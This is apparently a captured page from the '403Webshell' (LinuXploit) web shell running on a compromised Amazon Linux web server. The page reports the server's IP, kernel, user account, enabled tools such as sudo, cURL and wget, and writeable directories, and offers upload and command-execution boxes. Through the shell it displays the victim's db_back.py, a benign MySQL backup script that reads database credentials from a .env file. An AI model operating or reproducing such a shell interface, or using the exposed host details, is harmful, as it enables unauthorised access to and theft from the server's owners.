403Webshell
Server IP : 3.147.158.171  /  Your IP : 216.73.216.229
Web Server : Apache/2.4.67 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-2-178.us-east-2.compute.internal 6.1.172-216.329.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Wed May 20 06:31:34 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.21
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /tsai/repo/builder/backend/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tsai/repo/builder/backend/scripts/db_back.py
import os
import sys
import argparse
from dotenv import load_dotenv, find_dotenv
import subprocess
from datetime import datetime
import shutil
import gzip

if not find_dotenv():
    print("Error: .env file not found.")
    sys.exit(1)
load_dotenv()

MYSQL_HOST = os.getenv('MYSQL_HOST')
MYSQL_USER = os.getenv('MYSQL_USER')
MYSQL_PASSWORD = os.getenv('MYSQL_PASSWORD')
BACKUP_DIR = os.getenv('BACKUP_DIR')

# Check if any required environment variable is missing
missing = [name for name, var in [
    ('MYSQL_HOST', MYSQL_HOST),
    ('MYSQL_USER', MYSQL_USER),
    ('MYSQL_PASSWORD', MYSQL_PASSWORD),
    ('BACKUP_DIR', BACKUP_DIR)
] if var is None]
if missing:
    print(f"Error: Missing environment variables: {', '.join(missing)}")
    sys.exit(1)

# Type assertions for type checkers (we've validated these are not None above)
assert MYSQL_HOST is not None
assert MYSQL_USER is not None
assert MYSQL_PASSWORD is not None
assert BACKUP_DIR is not None

databases_env = os.getenv('DATABASES')
if not databases_env:
    print("Error: No default databases specified in .env file.")
    sys.exit(1)

DEFAULT_DATABASES = [db.strip() for db in databases_env.split(',')]

def backup_database(database, backup_dir):
    timestamp = datetime.now().strftime('%Y-%m-%d_%H%M%S')
    # Sanitize database name for filename (remove path separators and special chars)
    safe_db_name = database.replace('/', '_').replace('\\', '_').replace(' ', '_')
    backup_file = os.path.join(backup_dir, f"{safe_db_name}_{timestamp}.sql.gz")

    # Use MYSQL_PWD environment variable for security (password not visible in process list)
    env = os.environ.copy()
    env['MYSQL_PWD'] = MYSQL_PASSWORD

    dump_command = [
        'mysqldump',
        '--skip-comments',
        f'--host={MYSQL_HOST}',
        f'--user={MYSQL_USER}',
        database
    ]

    try:
        # Run mysqldump and capture output (binary mode to handle non-UTF-8 data)
        result = subprocess.run(dump_command, stdout=subprocess.PIPE,
                               stderr=subprocess.PIPE, check=True, env=env)

        # Write compressed output
        with gzip.open(backup_file, 'wb') as f:
            f.write(result.stdout)

        # Verify backup success (check file isn't empty)
        file_size = os.path.getsize(backup_file)
        if file_size > 0:
            # Convert to KB or MB for readable output
            size_kb = file_size / 1024
            if size_kb > 1024:
                size_str = f"{size_kb / 1024:.2f} MB"
            else:
                size_str = f"{size_kb:.2f} KB"
            print(f"Backup of {database} completed successfully ({size_str})")
            return True
        else:
            print(f"Warning: Backup of {database} resulted in empty file")
            return False
    except subprocess.CalledProcessError as e:
        print(f"Error backing up {database}: {e}")
        if e.stderr:
            print(f"mysqldump error output: {e.stderr.decode() if isinstance(e.stderr, bytes) else e.stderr}")
        return False
    except Exception as e:
        print(f"Unexpected error backing up {database}: {e}")
        return False


def main():
    parser = argparse.ArgumentParser(
        description='Backup MySQL databases to compressed SQL files.',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  # Backup default databases (from .env DATABASES list)
  python db_back.py

  # Backup specific database(s)
  python db_back.py database_name
  python db_back.py db1 db2 db3

  # Backup to a custom directory
  python db_back.py --backup-dir /path/to/backups

  # Backup specific databases to a custom directory
  python db_back.py --backup-dir /path/to/backups db1 db2
        """)
    parser.add_argument('databases', nargs='*',
                        help='Databases to backup (uses DATABASES env var if not specified)')
    parser.add_argument('--backup-dir', type=str,
                        help='Override backup directory from .env')
    args = parser.parse_args()

    # Check if mysqldump is available
    if not shutil.which('mysqldump'):
        print("Error: mysqldump command not found in PATH")
        sys.exit(1)

    # Use command-line backup dir if provided, otherwise use env var
    backup_dir = args.backup_dir if args.backup_dir else BACKUP_DIR

    # Ensure backup directory exists
    os.makedirs(backup_dir, exist_ok=True)

    # Use command-line databases if provided, otherwise use defaults from env
    databases = args.databases if args.databases else DEFAULT_DATABASES

    # Track backup statistics
    success_count = 0
    failed_count = 0

    for db in databases:
        if backup_database(db, backup_dir):
            success_count += 1
        else:
            failed_count += 1

    # Print summary report
    print("\n" + "=" * 50)
    print("Backup Summary Report")
    print("=" * 50)
    print(f"Total databases: {len(databases)}")
    print(f"Successful: {success_count}")
    print(f"Failed: {failed_count}")
    print(f"Backup directory: {backup_dir}")
    print("=" * 50)


if __name__ == "__main__":
    main()

Youez - 2016 - github.com/yon3zu
LinuXploit